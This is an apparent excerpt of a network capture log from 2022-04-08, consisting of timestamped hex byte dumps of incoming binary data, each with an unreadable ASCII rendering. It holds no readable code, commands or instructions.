2022-04-08 08:02:43 UTC3999INData Raw: 03 9a d3 c7 fe 1b 2c e1 5b 64 77 7a e5 ae af c1 ee cb 2c eb c5 09 23 e0 50 bd 0d 3d f3 13 c2 e1 e4 8e 24 16 b9 03 ca 07 d5 9d 4c 51 b1 0a cb b1 60 4e 5f 8c 53 12 10 b6 c0 20 e0 b6 e2 49 01 24 96 dc fb 9c b1 20 27 1e 5a bb 89 6e 7d 4b b4 12 2d 09 5a d3 66 fd 9d bf c9 ca b2 02 46 cc b6 08 ce 77 13 7a f2 58 db c6 b1 13 cf ed 00 4d 3f 97 91 a1 2d fc ab 94 c4 14 25 37 1a 62 19 bd 4b 95 a3 c9 bf 03 bf 13 ff 00 1a e5 97 41 21 11 af 49 10 0b 05 92 7a 50 80 48 1f cf b5 2b fe cb 25 12 b2 62 5a b8 11 71 81 01 55 1b 90 7c 4e 66 e3 2d 45 2d 32 33 b5 6b 4a 78 0c bc 35 af 93 88 62 24 fb 54 df 0d a1 64 91 85 a0 51 f0 81 5c 59 bb d5 42 a0 0d cf be 04 39 48 61 51 f7 62 c5 54 48 d1 c7 bf c2 49 c5 69 46 77 e0 c5 5b 7a 0e d9 30 19 52 bc 51 f3 e3 52 77 07 01 0a a7 24 df 08 5a
Data Ascii: ,[dwz,#P=$LQ`N_S I$ 'Zn}K-ZfFwzXM?-%7bKA!IzPH+%bZqU|Nf-E-23kJx5b$TdQ\YB9HaQbTHIiFw[z0RQRw$Z
2022-04-08 08:02:43 UTC4015INData Raw: 9a 38 50 e3 89 1d e9 90 a6 40 a3 6c 3e ab 77 38 b0 55 5b 78 dc f2 2e 6a d4 0a 3a 0f f8 c9 84 06 41 01 66 f2 c7 33 9b 70 79 2d 45 50 12 68 76 e9 92 a5 0a 3f a6 65 88 70 8c 86 88 50 71 71 51 f2 df 07 0b 26 ed f5 89 e0 6f ac 08 d0 28 6a d4 2f 43 fc b8 0c 6c 22 e9 15 a8 6b 13 5e 0e 37 3b d4 96 51 e1 5c ae 30 01 4c ad 2b 47 2a 68 3b ee 72 da 61 4a 69 17 36 23 b7 8e 49 28 bb 61 22 10 4f 1f 87 7d c5 6a 30 25 af 54 7a ac cb b8 6f 0d 80 c0 55 39 86 ea 48 a1 4e 14 52 76 04 6d 51 fe 56 61 48 6e ca 94 af 67 79 22 63 1b 1a 25 39 82 7b 1c 21 31 09 86 94 62 d6 57 87 00 bc 55 40 a0 ae e3 c7 28 99 31 6c 08 95 f2 ad bb b4 a6 e2 74 89 63 5e 45 94 7d a2 07 d8 4e 5d 7f ca 6c 90 cb 69 d9 8c 5a 19 2d 5e 43 12 87 8c 6e cc 7d f3 2c 6e d6 54 55 e4 d4 14 47 12 80 2a 7e 2f eb 93 1b
Data Ascii: 8P@l>w8U[x.j:Af3py-EPhv?epPqqQ&o(j/Cl"k^7;Q\0L+G*h;raJi6#I(a"O}j0%TzoU9HNRvmQVaHngy"c%9{!1bWU@(1ltc^E}N]liZ-^Cn},nTUG*~/
2022-04-08 08:02:43 UTC4031INData Raw: 63 2c 80 6c dd 9b 41 24 aa f2 3b bd 18 bd 40 fd db 53 a5 6b b7 1c b7 70 d7 b1 51 d6 a6 b7 93 d6 95 d3 ab 06 57 5e b4 1f ee af 0e 07 2f 89 2c 4a 45 69 76 23 b9 f5 ed 22 dd 9e a8 8c 6a bb 8f b3 96 dd 35 73 45 df e8 b2 d8 1f 88 a5 c3 3b 56 8a 7e 15 27 e2 f8 5b c7 1e 20 59 70 d2 95 c6 91 71 2b b4 f7 7c 61 76 01 50 13 b3 7c ff 00 97 07 18 5e 1b 54 b1 d0 2f e0 e5 fb e8 e3 d8 86 ab 6d ff 00 37 e5 67 28 0d 83 15 ab 5b 58 37 29 22 9e 1e 57 08 15 e3 70 b4 4e a3 96 eb 90 9c fa b3 10 4c 2f 34 e6 8c 7a b1 a0 95 97 fb c0 bb 54 1f f7 df 2c aa 39 37 6c 38 90 b7 57 51 44 de 93 7d 8e 42 88 07 12 3d f9 7f 36 5e 0d b4 d5 2a c4 b7 30 38 31 d0 8e 5b ab 1a d3 e5 bf 06 6c 81 a4 d2 8c ba dc 16 c5 a3 1f 6d 87 16 00 0f a7 7c 02 04 a4 c8 31 a9 2e ae 2f dd 6d ed d8 9a 93 c5 46 66 08
Data Ascii: c,lA$;@SkpQW^/,JEiv#"j5sE;V~'[ Ypq+|avP|^T/m7g([X7)"WpNL/4zT,97l8WQD}B=6^*081[lm|1./mFf
2022-04-08 08:02:43 UTC4039INData Raw: 77 03 a5 72 99 04 d3 77 37 f6 d1 aa c2 09 32 f5 2a bd f0 43 1d b1 4b e4 bc ba 9c 7a 88 78 00 45 07 86 65 47 18 8a 78 51 f6 8e 5a e1 59 df 9f 70 b4 fe 38 98 b2 01 3a b1 bc 58 19 86 c0 11 43 51 df 22 03 70 28 39 ae 60 3c a6 a8 34 0d 4f 9e 42 90 64 d5 95 c3 18 c9 e4 37 04 b1 3d bd b1 50 55 34 9b 79 27 47 91 b8 d2 b4 dc 6e 4f 6c 31 0c c0 7f ff d6 89 20 60 78 91 4a e6 21 0c 90 66 d5 a1 42 16 a5 d0 f5 ad 41 c5 0a f0 c0 24 35 5d 8f 7c 81 34 82 51 96 e0 05 ab 0a b0 db 7c ae ed 5b e1 c1 4b 1a 82 7b e3 6a ef aa c6 07 c4 b5 27 a9 f6 c6 d5 11 c2 24 5f 03 91 25 56 a0 0a 4b 03 5a e4 55 a9 60 74 21 eb f4 53 12 ab 65 7a 7c 24 d4 6f 4a 0c 56 da 85 58 bd 3f 6b b6 04 85 b7 2d 24 67 8b d6 a3 ae 1a 67 4a 6b 2a bd 36 a9 27 be 10 a8 ae 09 cc 96 3b 2f 45 1b e1 a4 80 8b 96 85 8b
Data Ascii: wrw72*CKzxEeGxQZYp8:XCQ"p(9`<4OBd7=PU4y'GnOl1 `xJ!fBA$5]|4Q|[K{j'$_%VKZU`t!Sez|$oJVX?k-$ggJk*6';/E
2022-04-08 08:02:43 UTC4047INData Raw: 14 0a 0f 6c 8a 40 4d ad ec 4c 96 ab 04 9f 0d 07 36 a0 f8 77 ec 32 be 26 7c 29 3e a1 a0 bc 4c 82 12 aa 6a 69 cb 61 4c 02 41 c6 9c 29 48 db 5c c6 df 19 5a 05 e4 69 e1 90 94 da e9 ff d2 8f 35 c5 d3 99 2d e4 8c c5 e9 b1 42 a7 35 65 69 7d 8c dc 54 21 3f 12 f5 07 a6 55 34 4b 64 53 1a cb 1b 45 c1 91 98 be fb 80 40 fb 05 b2 96 b6 f5 0d 2c c8 8e 1d 82 c9 18 0d ce bf 08 07 f6 7e 59 64 36 2c 84 a9 22 50 47 c0 5f e0 22 9b 78 e6 5b 37 08 e3 6a a0 24 80 3a 1d f2 56 ab 24 b6 5a 0e 3f 68 6e 06 22 54 91 ba 06 fa cd da 92 2d 59 c1 a9 03 b0 19 64 67 6a 50 8f 1b ba a8 61 53 d6 87 2d b6 2b ec d4 2a b1 55 e4 7a 1c 04 a2 95 3e a8 14 d0 91 f1 6e 30 5a b4 c8 50 32 d2 b4 f6 db 21 68 45 da b0 58 55 23 72 c1 77 3b 74 f6 c1 48 25 0f 79 6f ce 45 20 71 e7 b5 17 73 f3 38 da 82 e9 ac 56
Data Ascii: l@ML6w2&|)>LjiaLA)H\Zi5-B5ei}T!?U4KdSE@,~Yd6,"PG_"x[7j$:V$Z?hn"T-YdgjPaS-+*Uz>n0ZP2!hEXU#rw;tH%yoE qs8V
2022-04-08 08:02:43 UTC4063INData Raw: 0e 58 23 7b e4 d6 93 0b 5a 2e ed cb e5 d2 b9 14 d3 5c 6e 1d f9 01 b8 e9 e1 b6 04 aa a2 bc 4c b2 f1 1c d8 9e bd bd f0 85 a4 22 ce 64 70 66 50 a8 58 fc 43 b9 fe 6c 4a a6 8f 71 23 46 52 31 d3 60 4f 7d ff 00 a6 41 92 c8 6d 9c c2 2e 88 2e 4b 14 a0 ff 00 27 20 c6 95 04 51 0b c0 63 20 d7 ed 1f 7f 6c ae 5b 31 29 97 d5 d1 bd 47 63 c5 98 50 02 29 ca 9d ff 00 c9 cc 53 24 95 88 d1 5d 32 a1 56 52 6a 14 a9 e8 69 4f 8b 23 c6 c1 2c b9 b1 77 4e 22 b5 02 80 77 27 c1 7d b3 2e 12 b6 25 7d be 8d 04 51 86 bb 63 ea a9 0c 8a 37 a7 fa f9 72 40 55 85 62 54 2c aa 5b 8d 58 31 14 56 c1 20 9e 49 ed b6 a4 1c 45 73 2a 8e 6c 00 3c 7a 7c be 8c a0 b6 89 29 dc dc b4 4d c8 af 27 52 68 3e 7d b2 2a 4a 57 ab 33 3b 87 97 63 5a 91 e1 ed 8b 54 8a 50 ce 6e 2e d0 32 92 a2 99 63 58 dd 9a c5 6f 1d cb
Data Ascii: X#{Z.\nL"dpfPXClJq#FR1`O}Am..K' Qc l[1)GcP)S$]2VRjiO#,wN"w'}.%}Qc7r@UbT,[X1V IEs*l<z|)M'Rh>}*JW3;cZTPn.2cXo
2022-04-08 08:02:43 UTC4079INData Raw: bd c4 b3 b3 94 45 92 6a 50 92 76 15 ff 00 2b f9 b2 40 2d ad b7 d3 2f a1 57 65 e1 12 53 7a b0 eb 82 46 d6 d5 ed e3 9a ca 2f ac 45 23 48 cd 42 11 41 2b 41 fe 57 b9 cc 79 c0 4b 9b 21 35 15 f3 0d d0 7f ac 44 81 25 35 15 eb 4f 96 08 e3 08 24 94 b2 f5 ee 2f 0f 62 14 d4 9e f9 7c 45 31 43 b4 7e b8 51 d5 fe 2e 40 f6 c9 da a3 51 62 22 36 42 0a ba 90 dd 4d 0e 57 6d 8a 53 47 25 a8 1c 40 02 5a 6e 0d 76 3b e1 64 b1 a3 9e 1a 4e 05 05 7b 8f c7 0a d2 2a d9 a5 bc 56 5b a6 e9 b2 b6 db 7b 53 23 c2 96 92 dd 9e 53 e8 82 ce a2 9b 0c 95 31 a4 1d c9 95 c5 4e cc 1e 80 53 7c 69 8a 31 c3 db 85 8e 7e bb 51 69 b9 ae 34 85 97 28 66 04 11 46 fc 3e 8c 69 98 50 fa ac 89 13 42 2a c4 ef d7 65 a6 14 b5 63 7c 60 8e 50 b2 d5 80 1f 0d 2a 08 c9 18 ad a9 ad f2 b3 04 90 52 a3 c3 6c 2c 3a a3 a7 9b
Data Ascii: EjPv+@-/WeSzF/E#HBA+AWyK!5D%5O$/b|E1C~Q.@Qb"6BMWmSG%@Znv;dN{*V[{S#S1NS|i1~Qi4(fF>iPB*ec|`P*Rl,:
2022-04-08 08:02:43 UTC4086INData Raw: ae 14 d6 20 48 09 51 fc ea dd 72 52 04 b3 89 01 33 f3 0f 9a a1 9a cf 8f a5 14 73 03 42 c1 14 a5 7f d8 ee 30 e2 c2 41 e6 99 e4 04 72 61 82 e4 dc d4 d0 0e 3b d6 9b 66 ce a9 c5 b4 1d c4 3f 58 1c a9 46 a7 8d 3a 77 c9 04 da 9a 83 1c 60 95 2d 43 4d fc 70 14 21 61 be 92 de 45 9d 48 e6 bd 08 3b d7 b6 4b 84 10 85 79 75 59 af 90 47 31 3c 4d 49 f0 af f3 53 04 31 08 a6 d4 6d 20 9a 39 04 61 f8 ac 86 9c 8f 4a 65 84 aa fe 11 3c 86 13 f1 52 a2 a4 7e 38 7a 21 b9 e2 8e 29 91 21 20 82 28 47 b6 3c d1 68 ab 59 60 59 fd 38 4a 83 d8 9e 80 8f da c1 48 b4 1e ab 64 d1 c9 48 a4 12 46 45 6a 95 00 7f 37 5c 21 89 6a 0b 81 1f 32 37 f8 68 3e fc 8a 14 61 bc e2 42 83 40 77 6c 95 2a 22 cf 54 55 b9 f8 d8 8a 8d 88 f6 cb 06 cc 82 65 79 64 97 85 ae 2c b7 76 1f 1a d3 73 4f da 18 48 b6 54 91 ca
Data Ascii: HQrR3sB0Ara;f?XF:w`-CMp!aEH;KyuYG1<MIS1m 9aJe<R~8z!)! (G<hY`Y8JHdHFEj7\!j27h>aB@wl*"TUeyd,vsOHT
2022-04-08 08:02:43 UTC4102INData Raw: af 45 1d 8e 53 30 a1 15 a9 5e c2 66 48 a5 06 57 43 b3 36 ca 2b fe ae ed 94 53 30 a8 97 d1 da 71 1e 89 0d 23 71 04 f4 35 3b be 54 59 d3 b5 dd 52 09 6a b6 71 88 63 26 85 80 dd 87 72 72 71 8b 24 3d a5 ac e8 86 62 01 8d 45 23 27 bd 7b f0 f6 c9 96 4a f2 da dc 5a 70 ba b8 05 39 6d b9 00 d6 9b 1e 1d 70 55 a6 95 a1 d7 9e e7 f7 51 1e 2d 5f 89 8e c7 8f fa df e5 64 7c 36 48 6b 9b e8 fd 65 92 e1 0c d0 a0 e8 86 87 fc 9a e5 a0 26 d7 5f 6a 92 5d fe f2 34 58 c0 d8 54 56 bb 7e d3 64 b9 20 ca d4 2c e0 b8 99 0a ab 28 62 e1 6a 7b 96 fe 55 c5 81 2b a4 b2 7b 49 a3 8e 56 0d 11 fb 6c bd 48 1d 97 27 74 d6 52 2b cb 29 21 97 97 13 c1 89 e3 b7 6a e4 78 99 86 4f a4 83 04 6a e4 aa 9e 24 7a 8a 0f 24 af ed 78 65 32 36 b6 ac d6 f0 c9 2f 18 a5 a5 b2 8a f3 94 ee e7 fe 6a 38 8d 99 da 13 9c
Data Ascii: ES0^fHWC6+S0q#q5;TYRjqc&rrq$=bE#'{JZp9mpUQ-_d|6Hke&_j]4XTV~d ,(bj{U+{IVlH'tR+)!jxOj$z$xe26/j8
2022-04-08 08:02:43 UTC4118INData Raw: ca a3 f7 4d 1f c3 f0 91 fb 47 f9 b8 e2 c9 4d 6e ae 1c d2 3d 95 c8 0c 2b b1 2b d2 ab 80 a2 d6 eb 4a d2 51 1a 94 1b 82 3f a6 4a 28 92 46 a8 a0 fa 6e 69 be dd f2 e2 58 52 71 65 78 f1 f1 36 ea 0b 0a 86 62 b5 14 ca 0a ab c9 ea 48 c6 44 05 9a 43 d1 45 01 ed 4a 60 b6 25 21 bd f8 67 75 51 4d f7 07 2f 0a af a7 30 69 18 c9 f0 85 5d be 9c 07 64 83 48 fb 59 16 16 28 a0 ec 6b 43 e3 95 5b 3e 68 da b5 c4 6e 1b fb ce 2a 57 c3 63 88 45 25 57 76 a0 1e 48 7b 50 9c 28 47 06 48 ed 44 0e 09 35 e4 a7 b9 c8 1d d4 9a 4a a6 06 e9 9a 49 07 f7 62 a4 64 80 63 6a d2 43 f5 86 12 42 38 ec 28 4f 4c 5b 01 4e 6f d6 2b 60 8d 14 fe a1 5e bb 53 b7 41 95 12 92 16 40 80 f2 76 52 1d b6 24 6f 41 91 2d 68 38 a4 81 65 50 cb ea 35 40 5a 6d d0 ee 29 8a 84 f7 50 bc 8e 5b af 5a da 34 85 d5 69 4e 23 8a
Data Ascii: MGMn=++JQ?J(FniXRqex6bHDCEJ`%!guQM/0i]dHY(kC[>hn*WcE%WvH{P(GHD5JIbdcjCB8(OL[No+`^SA@vR$oA-h8eP5@Zm)P[Z4iN#
2022-04-08 08:02:43 UTC4126INData Raw: b5 3d 79 91 f2 c3 e1 79 af 13 52 73 8f 65 76 1e e7 23 2b 8e c0 c9 23 75 a1 ca a9 f8 c9 6a 77 15 c0 24 40 e6 a4 28 b1 99 85 39 82 0f 6d 86 54 4c ea ad 98 ae e4 38 0d 52 06 63 8b 66 ae 90 b2 8e bd 73 26 30 21 ac 95 c5 76 f8 be fa e4 c8 42 de 24 74 3d 7e 9c 03 6e 45 92 5f a9 5b 09 90 86 e8 7a e5 53 67 12 c2 fc cb a5 c9 21 8a ea dd 69 3d ba 7a 5f 06 c1 90 6e 3e 15 fd bf e6 6c be 19 25 40 1f e1 1d 3f 1f 57 f3 93 c2 99 68 92 35 dd af aa 7a 30 00 7f c6 d9 64 4d 8b 62 54 20 76 9d 99 4d 47 54 af f9 fb 64 a3 bb 19 6c a5 76 88 c0 40 08 e2 bb fc c0 cb a3 1a d9 81 4b 2e 9f 88 2e 95 64 6f 88 92 77 db f6 7e 59 6f 26 0c 53 5e b9 f5 d5 1c 82 65 6e 80 57 e8 c8 49 a2 65 5b cb 91 7d 56 27 33 7f 7c 4f 71 db 35 3a 99 f1 6d fc d4 0d d7 4d 74 80 3b 9d a4 34 e1 5c ab 17 72 94 66
Data Ascii: =yyRsev#+#ujw$@(9mTL8Rcfs&0!vB$t=~nE_[zSg!i=z_n>l%@?Wh5z0dMbT vMGTdlv@K..dow~Yo&S^enWIe[}V'3|Oq5:mMt;4\rf
2022-04-08 08:02:43 UTC4142INData Raw: a0 ae c2 81 46 6d 31 50 0d 52 4d 7c 91 76 6c af d6 43 f1 33 6c 6a 3a 0e e5 72 7c 5c 2c 44 a9 9e 6b 5a e5 a8 62 62 08 c3 e4 3f 5e 5b 11 7b b6 19 bc f3 53 bc e3 f1 cf 4e 4c 6a 01 3b 7b 53 19 07 1e 46 d2 74 b9 35 7b 96 3b 30 a0 15 c8 c8 53 5a a2 4c 24 8d e6 00 84 63 40 3b d3 2b 25 28 cb 2b 06 7f b2 59 51 a8 6a 7a 0a 0c ac 96 40 20 e4 77 7b 92 ce 79 2d 78 a0 03 60 2b f6 b2 d8 8e a8 4d fd 06 5b a6 9b 95 11 54 10 01 ea 7b be df 67 2b 94 ac b2 01 37 d2 f5 6e 72 8b 82 c0 46 c7 80 1d f7 1f 6b 31 cc 80 66 0b 2c b3 be 58 2d 1e 17 e3 0a 6e 56 a2 a4 83 fb 61 7d f1 33 b1 bb 68 28 47 f2 85 e5 fd b8 ba b7 88 95 75 04 30 22 84 7b 64 63 80 91 6c 65 15 bf 97 7a f4 36 1a da 58 ce 1d 26 9e b1 53 dc 7c 54 e3 97 e0 85 1f f7 4d 04 90 f7 4e 14 4d c9 1f 8e 67 ca 3b 73 a6 60 af 1c
Data Ascii: Fm1PRM|vlC3lj:r|\,DkZbb?^[{SNLj;{SFt5{;0SZL$c@;+%(+YQjz@ w{y-x`+M[T{g+7nrFk1f,X-nVa}3h(Gu0"{dclez6X&S|TMNMg;s`
2022-04-08 08:02:43 UTC4158INData Raw: 71 be 59 09 70 a0 8b 4a 6e ec d5 89 24 66 cf 16 66 83 16 1b ae 17 d1 a4 33 c3 dc 1e db 0a f6 cd a6 3c 9c 41 a4 84 85 3c f5 14 c8 54 23 09 01 0a bb 54 56 bb f1 fe 5c b8 e2 a6 22 4c df 84 93 5a 7a d1 91 c4 9a 53 c7 e5 98 92 6e 1b a2 96 24 9e d8 bb 80 22 42 76 ef b6 c0 e4 0e e1 3d 52 2b ad 32 79 64 f4 e5 6f f4 35 40 42 81 bb 1f e5 ae 42 20 de e9 21 01 a8 ea d2 db 4c 96 e1 2a 58 f0 01 7a 8c b2 da e9 05 ab eb cf 0c 46 34 fd e0 89 a8 ca 3a 92 7f 9b 11 2f f6 2d 52 29 70 9d c4 2e a5 79 19 17 99 ff 00 27 32 62 5a 9f ff d5 e6 8b c4 72 11 20 2c 7f 9c f4 ff 00 62 33 5e 1b 14 ed e0 7e 40 12 16 9b 50 6c 77 cb 18 d2 94 52 24 53 18 b9 00 47 46 f7 c3 cd 42 b5 b9 91 48 63 47 00 d4 fb e4 5b 02 76 c9 38 b7 e6 59 52 35 e8 aa 28 5a bf e5 76 ca c1 64 92 de aa b3 a1 07 a0 f1 a9
Data Ascii: qYpJn$ff3<A<T#TV\"LZzSn$"Bv=R+2ydo5@BB !L*XzF4:/-R)p.y'2bZr ,b3^~@PlwR$SGFBHcG[v8YR5(Zvd
2022-04-08 08:02:43 UTC4166INData Raw: 5c 6d fb 23 db 25 e2 23 8d 03 1e 85 c2 73 c4 19 14 03 f1 30 eb b6 4f 89 3c 4b e1 b0 8c 3b 00 87 89 ea 7e 59 6c 0d 96 40 a1 a7 48 65 21 a3 20 d2 87 e4 3f 97 7e b9 97 16 d4 56 95 64 93 4c ce e0 fa 3b 31 15 a6 51 9a 74 11 22 8a bd d7 e3 8c b4 51 a8 10 a7 8e ec df d3 31 23 1b e6 d6 02 85 bc cd ab 27 33 27 06 db 7e d4 f6 c9 98 39 00 29 44 20 b2 f8 9e 45 9c 46 4d 38 8d ea 7b b6 48 27 85 5f cb d6 d7 1a 92 49 24 71 2d 43 ec 78 ef 4e fc 9b 32 a0 5a 08 b4 b2 7b 6b 74 99 c5 c0 e5 37 2a 8a 6c 29 fe ae 64 04 11 48 99 d4 dc b4 71 d2 94 35 2c 0d 28 b9 61 0a 13 9d 36 18 e1 03 f6 4f d9 2d e0 0f b6 03 b3 6a 84 7e 5f 22 e5 6d 29 50 ea 5d a4 27 a8 af 86 47 8e 98 98 da 15 7c bc da 5c bf 5e ff 00 76 2b d6 3e 42 a0 d3 a6 c3 f9 b2 32 c9 6c 78 15 66 d3 2e 1a e8 5d 5c 90 b3 9d d9
Data Ascii: \m#%#s0O<K;~Yl@He! ?~VdL;1Qt"Q1#'3'~9)D EFM8{H'_I$q-CxN2Z{kt7*l)dHq5,(a6O-j~_"m)P]'G|\^v+>B2lxf.]\
2022-04-08 08:02:43 UTC4174INData Raw: 58 f6 26 9d f9 7f 36 63 d2 af 93 cd 33 4c c3 ea 4c 2d a2 57 50 b1 38 2d fe cd 76 cb a3 b2 40 4c 2e 2d a5 d6 f9 24 f3 90 c2 4f 85 94 d4 35 47 c2 24 41 f6 57 2d e2 67 4c 71 22 bc 8e ea 41 c8 5b 4b 08 23 91 6e 94 3f b3 ed 84 c9 98 44 47 23 c9 1b 2d d3 19 15 41 61 43 d4 f8 a6 52 52 8f 81 92 6d 30 5c da 10 85 5b d3 2a c6 ac d5 f0 5f f2 7f 6b 02 0a 5f 3d 93 5d 20 95 25 56 65 0d 55 4a f3 c9 03 48 09 33 da 4b 13 70 93 90 90 10 7d c8 3d f2 f6 61 33 f4 4c 7c 1b 9d 5c d0 85 53 bf df 90 6c 0a 90 c8 11 9f d4 8c 12 e0 9a b1 e8 06 2a 97 99 bd 60 68 38 b0 dd 80 f7 38 29 21 5e 47 46 45 da a8 7c 7b 7d 39 1a 66 ad 2d b5 c5 b8 53 e9 f3 84 d3 e2 1d ab 80 96 54 ba 4d 3d 38 9e 01 ab 4a 9e e3 00 28 21 04 a7 90 6f 50 51 69 f2 ad 3d b2 4c 13 5b 28 26 44 86 e2 ca 53 1c d2 29 02 84
Data Ascii: X&6c3LL-WP8-v@L.-$O5G$AW-gLq"A[K#n?DG#-AaCRRm0\[*_k_=] %VeUJH3Kp}=a3L|\Sl*`h88)!^GFE|{}9f-STM=8J(!oPQi=L[(&DS)
2022-04-08 08:02:43 UTC4190INData Raw: ab cc 38 4a 4b d0 3f 27 bc c7 6b 6f 04 9a 75 d4 9c 6e 0b d5 79 1f 84 83 f6 63 8f f9 73 33 41 a9 8c 47 0c bd 32 fe 1e 27 1a 51 7a a2 90 36 39 bd 0c 4a 9b 50 9a 01 4c ae ac b2 52 94 91 ba 9a 8f 02 32 b9 93 d3 fd 90 65 10 87 79 01 52 ae 06 dd 40 cc 63 30 41 06 9b 00 ad d0 33 db 7a 82 9e 9a 53 c4 9f f3 df 30 a7 8b 8b f8 63 c3 fc eb fc 7a 9b 84 ab aa 5f 3d a8 06 83 8a f8 0a 77 f7 cc 09 e3 00 ed c3 1f c7 f1 37 46 49 75 c4 01 41 32 37 c5 5e 94 e9 98 72 8d 73 3e af e6 b6 82 c7 bc c9 a9 5a 59 59 ce 97 27 93 34 4d f0 2d 79 1a ed db 2c d3 8b 2c de 53 26 a1 7b 24 09 73 56 86 68 a3 58 a3 75 dd 82 d3 97 0e 5d 9c 8c df 63 81 1b 16 a2 58 85 d5 c0 46 f5 05 7f 7a 6a 41 15 dc 7e d7 cf 33 e1 17 16 49 d5 9d e4 0b 35 8c 91 bb 3c 6a 5c b0 6f d8 ae 57 28 ee a9 ba 58 cd e6 11 3d
Data Ascii: 8JK?'kounycs3AG2'Qz69JPLR2eyR@c0A3zS0cz_=w7FIuA27^rs>ZYY'4M-y,,S&{$sVhXu]cXFzjA~3I5<j\oW(X=
2022-04-08 08:02:43 UTC4206INData Raw: ee 70 53 68 47 3c b0 b1 a3 28 54 71 b9 f7 c8 25 2d 3c f8 3c 69 5e 2a 6a a4 e4 f9 b5 1d 96 43 7e d0 44 ec bc 1c 91 b1 3d b2 5c 36 8e 2a 45 8b e8 ef a3 8d a2 f8 64 2a 40 3e e3 db 22 76 53 2b 76 9f a6 c9 6e ed 7b 72 82 e2 5a d5 62 a5 01 3d 9d bf c9 18 0c ba 35 57 54 be f5 27 b9 60 d7 04 87 3d 8f 4f a3 2d 89 0d 45 05 e9 a5 02 be c0 1d cf 8e 4d 0a 0c 85 98 2c 7d 3c 30 ab 4f 6e a0 fb f4 c5 2a 49 55 2b 41 85 57 a3 fa 6a 58 80 0d 7a e3 4a bc b3 4a 56 30 c1 81 35 35 d8 62 a8 db e7 8c d4 22 88 9c d3 e1 5f b2 07 6d fc 70 28 75 80 13 b2 99 cf a8 a0 1a ef 4e 9f e5 64 56 d5 ae ac 91 0f 28 8b 28 20 57 97 89 fe 5f f2 46 14 da 81 89 9d 96 3d c8 f7 e9 92 50 50 ed 1d 59 b9 b0 0a bf 7e 2c 90 b3 35 05 0d 40 c0 b6 a9 6c b2 5d 3a c6 bc 43 1e 84 e2 52 17 94 65 20 48 a4 54 9a 9c
Data Ascii: pShG<(Tq%-<<i^*jC~D=\6*Ed*@>"vS+vn{rZb=5WT'`=O-EM,}<0On*IU+AWjXzJJV055b"_mp(uNdV(( W_F=PPY~,5@l]:CRe HT
2022-04-08 08:02:43 UTC4214INData Raw: 1a 35 ec 9a 60 76 7a 51 df a8 15 76 f9 7f 93 95 e3 b0 cc 15 fa cd da c0 b1 31 46 06 45 ad 00 d8 13 d3 7c ab 38 a6 56 81 4b 79 8f 19 a2 70 94 3c 91 8b 74 61 fc 46 60 f8 64 f5 5b a7 bd f9 03 cc a3 5e d3 12 46 24 dc c2 04 73 57 af 20 3e d7 fb 3f b5 9d 56 8b 37 89 0d fe b8 7a 65 f8 fe 93 8b 92 34 59 2d 73 39 ad aa 60 21 5d 4c 69 5a c0 96 f0 a1 a3 80 94 ad 91 03 8a 1c 89 16 90 69 8e eb 3a 58 e3 ca 8c dc 7a 75 3b 9c d1 eb 34 e2 af d4 78 5c ec 59 18 e5 d5 9b 85 a8 04 af 73 4d ab e1 9a 5c 98 88 16 2f e4 e6 02 93 5f 58 89 3a 8d f0 63 c8 62 b2 16 c7 35 2d 30 47 56 0b b1 ad 57 b1 f0 cd be 1c f6 e3 98 b0 e6 fa dd 82 fa 2b 24 6c a1 b9 49 ca bb 83 fb 19 99 4c 80 b4 1e bb 03 6a 30 17 81 16 38 6a 02 f1 14 0c 4f b6 4c 06 61 5f 46 bd b7 08 b6 e2 8d 70 ae 36 a8 15 23 b9 ff
Data Ascii: 5`vzQv1FE|8VKyp<taF`d[^F$sW >?V7ze4Y-s9`!]LiZi:Xzu;4x\YsM\/_X:cb5-0GVW+$lILj08jOLa_Fp6#
2022-04-08 08:02:43 UTC4230INData Raw: b2 05 2d 68 1c a6 ba 0a 54 2c 20 fc 6c 7a 50 6e 07 fc 16 41 43 26 b7 b9 79 a4 71 28 e0 b5 24 15 ee 06 01 cd b6 d0 d6 d1 d2 57 81 10 0e 4d cc 9c b8 2d a0 7c c7 78 63 e5 20 51 56 14 e4 3c 3d b2 c0 2c b1 29 66 90 91 a1 57 8e 3e 09 5a 16 ae ec 7c 38 e4 c9 40 46 5d da c6 d2 15 8c 55 96 9c 94 f5 a6 04 d2 5b 24 92 47 ce 68 7e 11 f6 47 6d b2 24 35 94 65 be a2 07 0b 68 d6 8f c7 93 37 cf f6 70 f3 65 68 59 a4 05 99 28 be a3 ee 29 d8 0e b8 d2 82 9a 68 53 c9 c9 63 89 96 30 8e 40 42 7a 8c ac 84 02 cd ad b5 0b 77 b7 7f 59 93 d5 63 c5 0a 8a ee 0d 0f 15 3e 19 8d 28 f3 6c 05 8f ea ba 64 96 8d ce bc cb 52 ae 46 d5 3d 80 cd 4e 78 70 b6 04 fb c8 3e 73 b8 d0 2e 63 81 e5 06 cd dc 09 14 f4 15 fd a1 fc b4 c1 a6 d4 cb 04 f6 3e 8b f5 c7 f8 5a e4 2f 9b e8 0b 6b a8 ee 90 4b 03 07 46
Data Ascii: -hT, lzPnAC&yq($WM-|xc QV<=,)fW>Z|8@F]U[$Gh~Gm$5eh7pehY()hSc0@BzwYc>(ldRF=Nxp>s.c>Z/kKF
2022-04-08 08:02:43 UTC4246INData Raw: 15 11 9d c2 ff 00 ad fe 56 6e 71 61 ef 6b 94 9e b5 1c 09 18 0a 8a 14 2e c2 83 33 00 03 93 55 af a0 c2 84 15 f6 8d 6b 7c 29 3c 60 9f 1e 87 ef ca 32 60 84 f9 86 42 44 3c 47 f3 91 e3 f2 e4 b6 da 71 89 5e 0b b6 69 8c 81 68 c3 85 14 43 ea 7f 2b 72 e4 cb 9a 6c ba 61 88 f4 e1 9f fa 7f f4 ff 00 cd 76 38 a7 c4 18 64 37 d2 de 81 34 bd c5 68 36 0a 07 6c 0d 85 0d 72 95 41 24 5b 71 24 fd fd b2 a2 36 42 69 67 60 b3 5b 2c 47 ec 1a 54 9d b6 fe ad 98 a6 16 82 99 79 7b 5b 58 ef 9b 4e 2c b1 5b 13 56 6a 6e 48 fb 28 a3 04 4d 1a e5 16 be 68 df 37 e9 96 b1 31 60 15 10 9a a2 93 f1 57 fa 60 cd 00 39 24 31 27 65 e3 e9 91 bf b1 cc 22 69 6e 9f 45 79 42 ea 3b cd 32 de 78 c1 e0 50 0f 88 ef b6 db e7 55 a6 90 9c 04 83 46 4e 69 a3 50 0a 8c b0 ed c9 01 a0 37 c8 25 ba 8a 81 92 b5 43 dc 05
